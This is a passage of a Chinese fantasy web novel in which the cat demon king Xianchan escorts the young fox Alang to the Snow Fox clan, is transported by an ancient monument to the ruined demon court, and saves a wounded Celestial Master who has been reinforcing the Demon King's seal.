胡二急匆匆赶回雪狐族,然后果真如衔蝉所想,又回来了。 但跟衔蝉想的悄悄地回来联系阿琅不同,胡二居然是带着浩浩荡荡的一大群狐狸来的。 并且还抬着很多沉甸甸的箱笼,每一个箱子上还用红布扎着大花。 他们乌央乌央的站在结界外,把巡逻的妖兵都震惊了。 但在妖兵们举起武器之前,胡二笑呵呵的递上了一张拜帖。 正准备要跟他们打一场的妖兵:“” 妖兵默默地把拜帖送到了衔蝉手里。 片刻后,胡二一行被放进了结界,又回到了东坡子洞的主峰上。 胡二一看到衔蝉就笑,好像一点都不记仇一样。 他朝衔蝉拱手:“衔蝉小友,好久不见。” 衔蝉故作高冷:“你居然还敢回来,不怕挨打?” 胡二:“不不不,小友别误会,我们这次不是来索赔或是开战的,我们是来接孩子的。” 他看向站在衔蝉身后的阿琅,一张老脸都笑成了大菊花。 “没想到我们族里的孩子流落在外,居然跟小友结下了姐妹情谊,真是缘分呐。” “但姐妹情谊终究比不上真正的骨肉之情,因此老夫有一个不情之请。” “还请衔蝉小友把我们家的嗯”他想起自己还不知道阿琅的名字,卡了一下。 衔蝉很贴心的替他开口了:“阿琅。” 胡二马上笑得褶子更多了:“是,是阿琅。” “还请衔蝉小友放我们阿琅回去,认祖归宗。” 衔蝉一拍桌子:“阿琅是我们东坡子洞的中流砥柱,你空口白牙的说拐走就拐走,一定没安好心!” “此言差矣!”胡二连连摆手:“我们并不是要拐走阿琅,只是让她回族里见见血亲而已。” “我们不会拘着她,她拜完祖宗后还想回来,我们也不会拦着的。” 他朝阿琅露出了慈祥的笑容:“好孩子,跟叔回家看看去?”—— 作者有话说:腱鞘炎又犯了,日三养一段时间[爆哭][爆哭] 第82章 听到胡二的话, 早就跟衔蝉商量好的阿琅顿时露出一个期待的眼神。 而衔蝉也假装犹豫了一段时间,最后勉强松口同意了放阿琅回去看看。 “但是先说好啊!我们阿琅只是回去看看,你们不许扣着她不让她回来!” 胡二:“这是自然!” 他当然要放阿琅回来啦, 衔蝉的宝贝他都还没拿到手呢。 不过这事急不得。 得先跟阿琅培养一下感情, 叫她心甘情愿的为自己所驱策才行。 等把她彻底拉拢后,再放她回来偷衔蝉这里那个能养地气的宝贝, 和蝎子妖那面宝镜。 就算宝贝没那么容易偷,偷点灵植回去也不亏的嘛! 不不不, 这个猫妖王不是说阿琅是东坡子洞里的中流砥柱吗,那她拿点灵植回去孝敬他老人家怎么能叫偷呢! 到时候,这满山的灵植,嘿嘿嘿,嘿嘿嘿~ 而且这样不会惊动族里那些老狐狸, 这么多灵植,就神不知鬼不觉的全归他了,岂不美哉! 于是胡二不仅一口答应下来,还连声保证,他就带阿琅回去上个族谱,然后马上就亲自送她回来。 “当然, 让阿琅上族谱之前还需让族中同胞来认认她, 看她是哪一支的崽子。” “等认了宗进了族谱,阿琅或许还要在族地小住一段时间, 好叫她与血亲叙一叙天伦之乐。” 胡二拿眼睛看衔蝉:“这点小请求,衔蝉大王不会不同意吧?” 衔蝉继续假装犹豫:“可以是可以,但是” 胡二:“老夫知道衔蝉小友在忧心什么!你不必忧心,我们雪狐一族是最重情重诺的!” 衔蝉:“真的假的?” 胡二拍胸脯:“保真!” 衔蝉见他上钩,终于说出了终极目的:“那好, 既然这样,我要跟阿琅一起去!” 她拍桌:“不然阿琅独自一个回你们族里,我担心有狐狸欺负她!” 胡二一愣。 随后就是一喜。 妙啊! 要是这个猫妖王也跟着去了雪狐族里,那可就是他的主场了! 有道是强龙不压地头蛇,到那时,她在雪狐族的地盘上,还不得任他搓圆搓扁?! 而且万一要是她带上了宝贝那就更妙了哇! 要是她的宝贝她自己没看好,“不慎”“遗失”在雪狐族里,谅她自己也没话说! 胡二越想越笑嘻了,当场就答应了衔蝉这个要求。 “不过我雪狐族的族地也不是什么妖都能去的,衔蝉小友身为我们阿琅的好友倒是去得,但别的妖就不行了!” 他只想把阿琅骗回去拉拢,再把衔蝉骗去伺机偷她宝贝,可不想节外生枝,带更多妖回去。 再说了,万一衔蝉带了自己的嫡系去他地盘上,他不就被动了吗? 所以胡二咬死不让除了阿琅和衔蝉之外的妖去雪狐族里。 衔蝉:啧。 这老狐狸还挺难忽悠。 不过没关系!就她和阿琅也行吧!先去探探路也不错! 衔蝉跟阿琅交换了一个眼神,然后假装不情愿的同意了。 “好吧,那就本大王一个妖陪阿琅回去看看吧。” 胡二顿时乐了。 他忙不迭的站起来,当场就要带衔蝉和阿琅回雪狐族地。 衔蝉:“等我先安排一下洞里的事,再跟你一起送阿琅回去。” 说罢,她跟白三姑和玄蛛低声说了几句话,又塞给她们一打传讯符纸。 “我去了,山上的事情就交给你俩了,有什么事情及时给我发消息!” 白三姑和玄蛛点头:“好的大王,大王放心,我们会管好山上的事情的!” “好,那我和阿琅就走了!” 猫拉起小狐狸,跟白三姑和玄蛛挥了挥手,干脆利落的跟随胡二一行离开。 她俩一走,白三姑和玄蛛立刻在山上召集了一次大会议。 会议主题是,全员备战! 这一次,搞不好有一场硬仗要打,所以东坡子洞全体成员都要做好战斗准备! 还有在山下的三参等妖也要通知到位,如有意外,也要将她们召回来参战。 当然也不能忘了已经去天都的太上皇风朔和二大王风妧。 假如东坡子洞里果真发生了什么意外,还需要速速请她们回来镇场子 胡二成功把阿琅和衔蝉忽悠了出来,一路上脸都快要笑烂了。 他一路都在跟阿琅套近乎,一会说跟阿琅颇有缘分,一会说要认阿琅做干孙。 又说雪狐族里是如何的和睦,有爱,阿琅一定会喜欢家里的云云。 阿琅倒也很配合,除了没答应认他做干爷之外别的都只管附和他。 而且阿琅还在言语中给胡二透露出一种,她是个缺爱的孤儿,所以很向往家族的感觉。 胡二一听欢喜得要命。 缺爱好啊,向往家族更好! 这样他拉拢这个小雪狐的把握更是十拿九稳了! 只是悄悄斜眼看了一眼一直跟阿琅并肩行走的衔蝉,胡二眼珠子转了转。 她俩感情好像很不错啊。 那不行,得想个办法离间一下她俩。 不然万一阿琅不肯配合他去偷衔蝉的宝贝怎么办? 又想起阿琅先前说起东坡子洞的二大王不是她而是衔蝉的师妹时那略显失落的眼神,胡二觉得,自己好像有头绪了。 胡二不着痕迹的往阿琅和衔蝉中间一插,硬生生挤开了衔蝉,自己跟阿琅并肩走着。 被挤开的衔蝉默默翻了个白眼,我忍! 中间的路不赘述,一行很快就来到了雪狐族的族地。 衔蝉有些吃惊。 这雪狐族的族地,好气派啊! 只见灵光氤氲的大山中依着山势修建着连绵起伏的亭台楼阁,乍一看,跟猫以前在电视上见过的某5D山城似的。 而且雪狐族的族地居然还有高耸的城墙,城墙上哨塔旗帜一样不缺。 来回还有巡视的雪狐族妖兵,并且每一个妖兵都穿着样式一致的衣裳,腰间别着雪狐样的腰牌。 很明显,这里是个相当有实力的妖族城池! 衔蝉在心里握拳,她要努力,把东坡子洞也建设成这样!不!要比这里更好,更气派! 胡二悄悄观察了一下衔蝉和阿琅的神色。 见她俩都很是吃惊的样子,胡二就好像一口气吃了十只烧鸡一样舒爽。 傻眼了吧!长见识了吧!乡巴佬! 胡二笑呵呵的站出来,守卫城门的妖兵们马上为他让出一条路,还朝他躬身行礼。 “见过二长老!” 胡二很有架势的摆摆手,又招呼衔蝉和阿琅。 “小友,阿琅,我们到了,走吧。” 说罢,他就背着双手,走在前面为衔蝉和阿琅带路。 衔蝉阿琅跟着他,走进城门,然后十分好奇的四下张望着。 这雪狐族,果然有点东西啊。 城门里面是坚实平整的石板路,甚至还有像模像样的街道,房屋,各种楼塔亭台。 如果不是路边走着的“人”头上都大大方方的露着白色狐狸耳朵和尾巴,衔蝉几乎都要以为这里是人类的城池了。 而且还是很富裕的那种城池。 因为这些建筑都修得十分豪华,而路边雪狐们的神色都很倨傲。 雪狐们身后大多还跟着一些显露出不同跟脚的妖族,表情或唯唯诺诺,或满脸讨好,一看就是想巴结雪狐们的。 而雪狐们似乎对此已经习以为常。 衔蝉看得直摇头。 但她也没说什么,而是跟着胡二,和阿琅一起,去了他的住处。 胡二的住处也很气派,是一个坐落在山腰的巨大的院落。 胡二把衔蝉和阿琅带到中心的主院里,然后拉走了阿琅。 “衔蝉小友,老夫要带阿琅去上族谱,外妖不便前去,小友就先在我这院里暂且稍等吧。” 说着又吩咐仆从妖们把衔蝉带去客院。 衔蝉跟阿琅递了个眼神,然后欣然同意。 等胡二和阿琅一走,她马上一脸好奇的在客院里溜达起来。 顺便还跟胡二留下来伺候衔蝉的仆从妖们搭话。 衔蝉找了个看上去最好说话的毛耳朵小妖,看上去应该是个犬科。 “我想在这里四处走走散散心,但我不认得路,你能帮我带路吗?” 犬科小妖抖抖耳朵:“遵命,贵客。” “贵客想去什么样的地方散心?胡二长老的院里有竹林,有曲桥,有湖泊,也有楼阁,您想去哪里呢?” 衔蝉:“嗯,有没有那种,很有雪狐族特色的地方?” 犬科小妖想了想,点头:“有的。” 说着她就带着衔蝉在院子里七拐八拐的穿行,最后把衔蝉带到一座巨大的石碑前。 “这是什么?”衔蝉抬头仰望这个起码有两三层楼高的白色石碑。 犬科小妖:“这是雪狐族曾经的辉煌见证。” 她解释道:“这座石碑叫奉王碑,是曾经妖王陛下召唤雪狐族长的法宝。” 据说当时妖王陛下可看重雪狐族的族长了,时常召见她前去侍奉在侧。 而这座能随时把雪狐族长传送到妖王陛下身边的奉王碑,就是雪狐族最骄傲的宝贝。 只不过后来时过境迁,雪狐族族长战死,妖王被人类封印,这座奉王碑也就被雪狐们默默地收了起来。 “奉王碑以前是在雪狐族族地的中央高台上的,后来才被撤下来,挪到了胡二长老这边。” 犬科小妖一边解释,一边引衔蝉去看奉王碑背后刻着的一串妖王召见记录。 衔蝉一看,嚯!密密麻麻的一大串,看来当初的雪狐族长果然很受器重啊! 看完记录,衔蝉又好奇问道:“这个石碑要怎么传送雪狐族长?石碑上也没看见传送阵啊?” 犬科小妖摇头:“不需要传送阵的,奉王碑本身就是传送法宝。” 衔蝉更好奇了,她把手伸出去摸了摸毫无法宝气息的石碑,问:“这个东西要怎么传” 话音未落,石碑竟光芒大盛,眨眼间就将衔蝉吸了进去! “贵客!!!” 第83章 眼看衔蝉被奉王碑吸了进去, 犬科小妖顿时慌了神。 她急忙伸出手去,想拉住衔蝉的胳膊把她拽回来,但却晚了一步。 就那么一瞬间, 衔蝉已经消失在了奉王碑面前。 犬科小妖伸出去的手也只抓住了冰凉坚硬的石碑一角。 她急得差点哭出来。 这可怎么是好! “长老!快来妖去报告长老!贵客被奉王碑吸进去不见了!” “什么?!贵客被奉王碑吸进去了?!这怎么可能!”守在外面的仆从妖很惊讶。 “奉王碑可是当年妖王陛下赐给雪狐族的传世法宝, 只有雪狐族族长,才能开启奉王碑的啊!” “是啊!先前长老也带过别的贵客回来小住, 也都带他们去看奉王碑了,可没有谁被吸进去过啊!” “可贵客真的被吸进去了!我亲眼所见!” 犬科小妖指天发誓自己没有撒谎。 虽然她也知道, 奉王碑以前从没发生过这种情况,但今天意外就这么来了! 往日来看奉王碑的贵客们随便怎么摸怎么看都没出过岔子,但今天那位贵客却只碰了一下就被吸走了! 犬科小妖见众仆从妖不信,便将她们带到奉王碑面前亲眼去看。 果然,刚刚才看着走进去的贵客早就没了影! 众仆从妖们不死心的在附近仔细寻找了半天, 也没找到那位消失的贵客。 “完了完了,贵客真的被吸走了。” “只能去报告长老了。” 仆从小妖们连忙把消息一路上报,可惜胡二已经带着阿琅去了雪狐祖地的中央地带,那里除了雪狐以外,别的妖都没资格进去。 偏偏在雪狐族里负责传话办事干杂活的小妖都是投奔来的外族仆从,没一个能进去祖地。 而仆从妖们想找个雪狐帮忙传话更是天方夜谭, 雪狐们高傲得很, 才不会帮她们做这些末等小事。 这下胡二留下来的仆从妖们没办法了,只能干瞪眼等着胡二回来。 此时的胡二还完全不知道他院里发生的事情, 他正在召集族中的雪狐们来认一认阿琅是哪家的孩子。 雪狐祖地中央,数不清的雪狐聚集在一处,仰头看着站在台上的胡二和他背后的阿琅。 阿琅也是第一次见到这么多跟自己长得差不多的白狐狸,眼睛都睁圆了。 胡二看雪狐们来得差不多了,清了清嗓子。 “咳咳!今天召集各位族胞前来祖地, 是因为老夫找回了一个流落在外的小雪狐。” “这孩子在外面吃了不少苦,如今老夫带她回来,就是想让她认祖归宗的。” “大家上前来瞧瞧,她是哪一支的崽子?” 雪狐们一听,纷纷歪头往阿琅身上看。 随后有雪狐张口道:“这人形都长得差不多,不好认,小崽子,你变回原型我们看看呢?” 阿琅闻言,从善如流的变回原型。 果然是个半大的雪白小狐狸。 雪狐们顿时窃窃私语起来。 “看起来确实是咱们雪狐族的没错,你家丢过崽子吗?” “没有,我家崽子好得很呢,是你家的吗?” “不是,我们这一支的雪狐生来都有耳后一撮长绒毛,这小崽子没有,不是我们家的。” “也不是我们家的,我们这一支的雪狐爪子颜色要深些,这个小崽子四个爪子都雪白呢。” “嘶,我怎么越看这个小崽子越像是族长那一脉的啊?” “你们看,她通体雪白,嘴筒子偏短,耳朵稍小,四肢宽大,尾巴又长又蓬,这不跟族长一脉的雪狐长得差不多嘛!” “什么呀,族长一脉不长这样啊。” “咱们族长一脉的狐狸都是长嘴筒子大耳朵,四肢细窄尾巴偏短的好吧!” “错了,我说的不是现任族长,是上上任族长。” “上上任族长?这!好像还真有点像啊!” 一说起这位上上任族长,所有雪狐都熟悉得不得了。 这个熟悉不是指雪狐们有多了解她,而是她在雪狐族里是一个非常出名,非常有争议的狐狸。 她出名,是因为她就是当年那位很受妖王陛下器重,时常传召的雪狐族长。 雪狐族的繁盛,也是从她爪下开始的。 因为她很受妖王陛下重用,所以雪狐族得了不少赏赐,积攒起了第一笔起家的资源。 而说她有争议,是这位族长太过愚忠,对妖王陛下过于盲从,导致自己也战死沙场了。 当年那场两族大战,前半段妖族占上风时,她这种愚忠是完全没问题的。 但到了后半段,人类天师们集体出手扭转战局时,她就应该为了雪狐族考虑考虑未来了。 再后来得知妖王陛下被人类暗算中了埋伏,她又执意要带众狐前去救驾。 对那时候的雪狐族来说,去救驾就相当于去送死。 毕竟围攻妖王陛下的,是天师堂全体大天师,人类的最高战力。 要是妖王陛下扛得住,那雪狐们去了也没用,要是陛下扛不住,那雪狐们去了也没用。 所以当时很多雪狐并不愿意随族长去救驾。 不愿意去救驾的雪狐们私下里一商量,干脆就造了族长的反。 他们不惜与某些人族联手,也要拦住愚忠的族长,将她引去了人族陷阱里,让她战死在了距离妖王受困不足千里的地方。 这样不想去救驾的雪狐们就不用去了。 新上任的族长就识时务多了,他直接带着雪狐们跑了。 这一跑,雪狐们就从曾经的妖族王庭跑到了岭山边缘,并且在此重新落脚。 之后妖王被人族大天师联手封印的消息传来,雪狐们既松了口气,又十分庆幸。 幸好他们背刺得早,不然被封印的或是战死的也要再多一族的狐狸! 这也是那位族长在后代们的心中褒贬不一的缘故。 有雪狐觉得她忠肝义胆,又开创了雪狐族的盛世,值得钦佩,也有雪狐觉得她盲从妖王,不懂变通,险些害了全族。 在这种争议下,她那一支的雪狐都受了牵连,被踢出了族长一脉的族谱里,被发落成了旁支。 现在她那一支雪狐仍在族地,但却住在远离祖地中心的偏院地带。 这次胡二召集祖地众狐,那一支的狐狸现在还没接到消息呢。 所以台下蛐蛐她们的声音越来越大,再看阿琅,众狐又是点头又是摇头。 “这么说的话,这小崽子确实很像那一支的啊。” “但那一支狐狸尾巴尖上都有一点黑,这小崽子尾巴尖也是白的啊。” “不对,她的尾巴尖怎么钝钝的?断过?” 听到台下的议论声,阿琅默不作声。 她的尾巴尖确实断过。 在饿得不行去钓螃蟹的时候,被螃蟹夹断的。 而她的尾巴尖上被夹断的那一撮毛毛确实是黑色的。 也就是说,她很有可能真的是雪狐族的崽子。 还是不太受欢迎的一支里面的崽子。 阿琅心情有点复杂。 她本来只是想配合衔蝉来雪狐族里搅搅浑水的,没想到竟真意外得知了自己的身世。 那她娘还在吗? 阿琅心想,我才不在乎她是什么狐,受不受欢迎。 她只是想问问她,为什么要把她抛弃掉? 心里有点委屈的阿琅站在台上不吭声,只默默地等待着最后一支雪狐赶来祖地。 * 雪狐祖地的热闹,与衔蝉无关。 猫现在很懵。 她茫然的站在一片残垣断壁里,四处张望了一下。 不是,这又给她干哪来了? 她只是碰了一下那个奉王碑而已,咋又给她换地图了呢! 所以这到底是哪里啊喂! 猫抬起左手拍了一下自己的右手,让你乱碰!这下好了!回不去了! 衔蝉在心里骂骂咧咧。 可恶的胡二,他是故意的吗? 明知道那个奉王碑会把靠近的妖吸走,所以故意派小妖引她过去好把她吸走?! 这也太阴险了! 此时的衔蝉还不知道,自己哐的一声给胡二扣了一口又大又沉的黑锅。 猫很不爽的从废墟里走出来,打算找个妖问问路。 但这附近真是见鬼了,到处都是倒塌废弃的断墙残梁,却一个妖都没见到。 甚至别说妖了,连个会动的活物都没有。 这还是大岭山里吗? 该不会给她传送到某个废弃的人类城池里了吧? 衔蝉心里骂胡二骂得更欢了。 她不知道在这片满目疮痍的废墟里走了多久,才终于看见一个活物。 嗯,应该活着吧? 猫轻手轻脚的走过去,蹲在脸朝地趴在地上的人类面前,捡起一根树枝捅咕了她一下。 “你好?还活着吗?需要帮助吗?” 浑身几乎被血浸透的人类猛地抬起头,一双寒星般的双眼定定的看向衔蝉,竟没露出半分虚弱疲态。 但衔蝉能感觉到,这个人的呼吸都已经浅得快要停滞了。 ——她好像快要死了。 “唉,别这么看着我,又不是我伤的你。”猫嘟囔了一声,从兜里摸出一块南瓜干。 “算了,救人一命胜造七级浮屠,死马当活马医吧。” 猫把含有灵气的南瓜干往人类嘴里一塞。 “我身上也没有什么药,你吃吃看这个有用没有?” 人类的表情楞了一瞬间,眼神也似乎柔和了一丝。 她三两口咬断南瓜干,吞下,然后用沙哑的声音开口道:“多谢。” 衔蝉见状,又掏出一块南瓜干给她。 “有用吗?那再来点?” 她兜里揣的南瓜干还有一大把呢,管够的! 人类倒也不客气,衔蝉喂一根,她就吃一根,很快就把衔蝉兜里的南瓜干都给吃完了。 一大把变异成灵植的南瓜干下肚,她的情况肉眼可见的好转了许多。 身上的伤口不再淌血,力气也回来了几分。 人类顺着衔蝉搀扶的力道坐起来,吃力的朝衔蝉拱了拱手。 “晏舒寒,多谢小友救命之恩。” 第84章 “先别谢了, 你身上这么多伤,快调息一下吧。” 衔蝉放下树枝,拍了拍手。 晏舒寒点点头, 当场撑着身体盘膝而坐, 竭力运转丹田里重新积蓄出的灵力,自救起来。 衔蝉见状, 干脆就坐在旁边,为她护法。 主要是这个人类伤得太重, 这片废墟里又不知道会有什么潜在风险,衔蝉担心自己一转身她就死掉了。 救都救了,不如干脆救到底,等她脱离生命危险了再走。 而且这附近除了她之外一个活物都没有,等她缓过来了, 还能跟她打听点消息。 猫心想,她能出现在这里,肯定不是无缘无故的。 至少她应该会知道这是哪里。 衔蝉这一守,就守了晏舒寒三天。 这三天,晏舒寒的情况时好时坏的。 她虽然一直在努力打坐调息,但由于实在伤得太重, 情况并不乐观。 衔蝉给她的一把南瓜干, 只起到了吊命的功效,根本不足以修复她身上遍布的重伤。 所以这三天里她活得相当艰难, 几乎是来回在昏迷和挣扎起来打坐之间无缝切换。 猫看着这个跟血葫芦似的人类,心里也是肃然起敬。 伤成这样,还能挣扎着活下来尝试自救,是个猛人啊。 衔蝉心里佩服晏舒寒,便在她身边一直守着, 免得她再遇到别的危险。 她熬不住昏过去的时候,衔蝉就掰开她的嘴给她塞灵力团子续命,等她醒来了,猫再扶着她坐起来继续调息吸收灵力。 而除此之外,衔蝉这三天也没闲着。 她把身上带着的所有传讯符纸都叠成纸鹤放出去了,但整整三天过去,一只纸鹤都没飞回来。 这说明要么她现在离东坡子洞非常远,远到纸鹤三天都飞不了来回,要么就是这里有什么古怪,传讯纸鹤压根没飞出去多远。 衔蝉有心想去看看纸鹤到底飞出去了多远,但奈何晏舒寒还在奋力自救,她又不方便离开太远或者太久。 捏着手里最后两张传讯符纸,猫深深的叹了口气。 唉。 作孽。 也不知道阿琅那边怎么样了。 还有东坡子洞里,现在真可以说是群龙无首了。 师尊师妹去了天都归期未定,阿琅独自一狐陷在雪狐族里情况不明,现在她也又双叒叕失踪了。 白三姑和三参还有玄蛛她们接下来肯定又要急死了。 她这次又需要不知道多久才能回到东坡子洞里,希望大家都能好好的吧。 希望师尊师妹早点回去,白三姑和玄蛛能守好家里,三参看好山下的灵植店,阿琅也能顺顺利利的从雪狐族里回家。 至于原本去雪狐族里搅混水摸消息什么的猫已经不指望了,只盼着阿琅别被那些坏狐狸欺负了就好。 她自己这边倒没什么好担心的,只要想办法找到回去的路,她立刻就马不停蹄的往家里赶。 但问题是她真能找到回去的路吗?万一晏舒寒也不知道这是哪里怎么办? 越想越操心的猫足足叹了三天的气,整个猫都快愁成一团了。 更让猫发愁的是,这个地方似乎真有些古怪,她的镜中镜都打不开了。 在发现传讯纸鹤久久不归后,衔蝉就想过通过镜中镜空间把自己给传回东坡子洞或者平安镇。 但这个诡异的地方也不知道有什么机关或者禁制,她居然进不去镜中镜了! 镜中镜里囤着的东西也取不出来了,猫只能干瞪眼。 身上除了一把当零嘴儿的南瓜干和一沓传讯符纸外,几乎啥都没揣的猫傻眼了。 幸好她先前又催生了一颗南瓜一颗红薯做本命灵植,还能靠它们填饱肚子,不至于沦落到饿死在外面。 不过连着吃了三天的生南瓜和生红薯,猫吃得都快吐了。 这玩意儿,吃多了烧心啊! 衔蝉在心里流下两行宽面条似的泪水,感觉命更苦了。 猫生无可恋的把手里啃了一半的生红薯放下,托着下巴看晏舒寒究竟什么时候能醒。 今天是第四天了,晏舒寒的情况似乎稳定了不少。 衔蝉感知了一下她的呼吸和心跳,估摸着她应该快清醒过来了。 事实上也不出猫所料。 晏舒寒缓缓睁开了双眼。 跟前三天从昏迷中醒来就挣扎着调息时那种没有焦距的空洞眼神比起来,今天她又恢复了猫第一次看见她时那种沉稳而又犀利的眼神。 “你终于醒了!”猫从旁边的树上跳下来:“我还以为你熬不过来了呢。” 晏舒寒看到她,还愣了楞神才回想起她是谁。 她朝衔蝉露出一个苍白的笑容:“多谢小友为我护法,还没请教小友尊姓大名?” “衔蝉。” 晏舒寒颔首:“衔蝉小友。” 又问:“小友为我吊命那些灵植想来价值不菲,只是我现在身无长物,可否缓些时候再偿还小友?” 衔蝉蛮不在意的挥挥手:“不用计较这个,我救你又不图你还钱。” 而且那南瓜干是她们自己种了晒出来的,又不花钱。 衔蝉走到晏舒寒身边,伸手把她从地上拉起来,然后瞄了一眼她腰间碎了一半的令牌。 玉质的令牌虽然已经残破了,但依稀还是能看出上面的纹样。 衔蝉知道那纹样代表着什么。 猫问她:“你是降妖师吗?还是天师?” 晏舒寒愣了愣。 随后大方的承认:“是的,我是天师堂里的天师。” “不过小友放心,我晏某人并非不分青红皂白之辈,小友的救命之恩我绝不会忘。” 她这是告诉衔蝉,即便第一眼就看破了衔蝉的跟脚,但她并没有与她为敌的意思。 降妖师与妖虽说水火不容,但凡事都有例外。 衔蝉身为妖,不也不计前嫌的救了她一命吗? 所以晏舒寒向衔蝉保证,她不是忘恩负义的人,也不会因为衔蝉是妖就罔顾救命之恩,恩将仇报。 衔蝉“唔”了一声,心直口快道:“现在就算你想恩将仇报也不行,你伤这么重,还不知道能活多久呢。” 晏舒寒:“” “小友说得是。” 晏舒寒洒脱一笑,又让衔蝉高看了她几分。 衔蝉随手塞了个没吃完的红薯给她,并在她啃红薯的时候,向她打听消息。 “你看上去比我年长,那我就叫你晏前辈吧,话说,晏前辈知道这是哪里吗?”猫很有礼貌问道。 晏舒寒摆手:“不过痴长了百来岁罢了,当不起小友一声前辈,若小友不嫌弃,直呼我名即可。” 又道:“小友竟不知这是哪里么?” 她看上去好像很惊讶,好像衔蝉不应该不知道这里是哪似的。 衔蝉茫然:“我应该知道吗?” 晏舒寒:“这里是岭山山脉最深处,曾经的妖族王庭。” 当年妖族繁盛时,妖王手下的各路大妖都驻扎在王庭附近,并在此建立起了妖都。 衔蝉:“哈?” 这里就是妖族王庭?! 那就是说,那个传说中的妖王,也被封印在这附近? 难怪周围连个活物都没有! 诶不对。 衔蝉歪头看向晏舒寒:“那你来这里做什么?” 不会是跑来加固那个封印的吧? 如果真是那样的话那可就太好了! 衔蝉真想说多加两层,别把那个妖王放出来了! 不然她一出来,万一把她们刚发展起来的东坡子洞给顺手收了或者灭了怎么办! 想想就令猫炸毛! 还是让人类们给她多加两层封印吧!封严实点! 晏舒寒摸了摸鼻子。 “咳,是的,我是来加固岭山封印的。” 她有点不自在。 当着一个救命恩妖的面说要加固她们妖族陛下的封印,听上去确实有点像在挑衅。 但衔蝉一个箭步冲上去,握住了晏舒寒的手,使劲摇了摇。 “晏姨姨!那个封印你加固好了没?没加固好的话我再陪你去加固一点吧?你还能走吗?不能走的话我背你去吧!” 晏舒寒:“?” 这对吗? 衔蝉却很理直气壮。 她本来就对那个妖王出世的消息很忌惮,先前就想过自己偷偷摸摸的去给她多加两层封印呢。 要不是当时玄蛛拦着,猫早就跑去干这事了。 为了东坡子洞的平稳发展,猫大王就是这么有远见!要把一切威胁都扼杀在摇篮里! 所以现在一听晏舒寒是来加固封印的,衔蝉就像是看见了亲人一般,对晏舒寒的称呼都从不咸不淡的“前辈”变成了“姨姨”。 晏舒寒见状,顿时放心了不少。 这一人一猫竟奇迹般的达成了某种一致。 不过晏舒寒现在这情况也不适合去加固封印,她才刚脱离生命危险呢。 而且 晏舒寒直言相告:“不瞒小友,我这一身伤,正是被妖王所伤。” 不然她堂堂天师,怎么可能被伤成这样。 衔蝉听完差点跳起来:“什么?!她不是被封印了吗?怎么还能伤到你?她不会马上就要出来了吧?” 对这个问题,晏舒寒沉默以对。 猫听懂了她的沉默。 于是猫急得来回踱步:“完了完了,我们东坡子洞要完了,要不还是跑路吧。” 听说那妖王凶残得要命,见谁揍谁,根本不管对方是人是妖,她都一视同仁的暴揍狠揍往死里揍! 能留在她身边的,无一例外都是扛揍的! 就连后来拜师成功的灵霄都没少被揍! 她对座下徒儿尚且如此凶残,对别的人或者妖那不得更残暴啊! 等她一出来,没注意到东坡子洞还好,万一她要是注意到了,东坡子洞就完蛋了! 到时候东坡子洞继续发展,被她盯上,要么收编要么灭掉,衔蝉光是想想就要窒息。 但要是不继续发展东坡子洞,顺利躲过了妖王的魔爪,但大岭山里那么多妖虎视眈眈,衔蝉照样睡不着觉。 猫越想越发愁,一根筋变两头堵,整个猫都不好了。 第85章 衔蝉恨不得马上机会拉着晏舒寒, 让她去再把那个封印加厚几层。 但晏舒寒此时却爱莫能助。 一来她现在浑身是伤,去了就是找死,二来她其实已经加固过封印了。 虽然过程费了九牛二虎之力, 并且险些把命都搭进去, 但晏舒寒确实拼死把那封印又加固了一层。 “好吧。”猫皱着眉头,一脸遗憾。 “你确定已经加固了封印, 那个妖王短时间内都出不来吗?” 晏舒寒肯定的点点头:“晏某虽不才,但这点把握还是有的。” 衔蝉“哇”了一声:“那你一定很厉害, 居然敢一个人去加固封印。” 晏舒寒却摇了摇头。 她们去的人可不止她一个。 只不过她们都很倒霉,遇上了妖王苏醒,眼看情况危急,晏舒寒便当机立断,让同伴们先撤, 她留下来断后。 这也是她会伤得如此严重的缘故。 她几乎以一己之力,扛下了妖王暴起的大部分伤害。 还能保住最后一口气跑到这里才倒下,已经老天眷顾了。 衔蝉肃然起敬,她果然是个猛人! 随后猫问她:“那你现在打算怎么办?要下山吗?你能行吗?” 晏舒寒苦笑一声:“不瞒小友说,我怕是不太行了。” 她现在伤成这样,别说下山了, 下炕都费劲。 但不下山又不行。 山上没有药, 也没有医者,连能让她躺下静养的破屋都没有一间, 还随时可能发生别的危险,留在山上,她必死无疑。 衔蝉拍了拍手:“那我就救人救到底吧。” “我送你下山去,把你送到人类的地盘养伤,我再回来。” “当然啊, 我不干白工,送你下山后,你要画一张大岭山的地图给我。” 有了地图,猫才能顺利的找回东坡子洞去。 晏舒寒吃力抱拳:“画地图没问题,那就有劳小友了。” 一人一猫再次达成一致。 衔蝉当即撸起袖子,准备带晏舒寒下山。 在下山之前,当然也要带上随身的口粮。 先前她催生的红薯南瓜还没吃完,不能浪费了,全部揣上。 看着那一大堆没吃完的红薯南瓜,衔蝉想了想,扭头就去附近扯了些藤蔓,熟练的开始编筐。 三两下编好筐子,又把地上的红薯南瓜往筐里捡,装了有半框。 晏舒寒看着她忙忙碌碌的背影,和那一堆扎堆出现的灵植,若有所思。 大岭山里灵植有这么随处可见吗? 居然连普通的南瓜红薯都能变异成灵植,而且她也亲口尝过了,灵气含量还很惊人。 如果不是亲眼看见那就是南瓜干和生红薯,光从入口的效果来判断,晏舒寒几乎要以为自己吃下的是什么高阶灵植了。 所以这位衔蝉小友究竟是什么来头? 她哪来的这么多灵植? 晏舒寒的思绪一下子飘远。 如果能大量获取这种品级的灵植的话,那天师堂如今的境况或许还能缓解一二。 越是高级的灵植,对降妖师的帮助越大。 而如今境况艰难的天师堂非常急需补充大量的高阶灵植灵药。 否则真等哪天封印撑不住了,妖王一出来,天师堂,甚至是整个人族,恐怕都难逃一劫。 现在的天师堂已经不是当年能合力封印妖王的天师堂了。 这次前去加固封印,晏舒寒无比清晰的意识到了这一点。 尚在封印中的妖王都能险些将她们这一批天师堂现存顶尖战力团灭,要是真让她挣脱封印出来了,那后果不堪设想。 为今之计,只有尽快的提升天师堂的整体战斗力,再竭尽全力备战,方能有一线生机。 可这事说起来简单,做起来却难如登天。 降妖师想要提升法力和修为,无非就两条路,一是疯狂修炼,二是疯狂嗑药。 而现在时间紧迫,留给降妖师们的修炼时间已经不多了,那就只剩下嗑药这一条路了。 可众所周知,灵植难得,高阶灵植更是难上加难。 天师堂里虽然有好几个专门培育灵植的降妖师世家,但灵植难种,产量一直上不去。 在天师堂里,只有大家族的降妖师,才能分到些许中品灵植。 更高阶的灵植,哪怕在世家大族里,也只有一小撮人能得到。 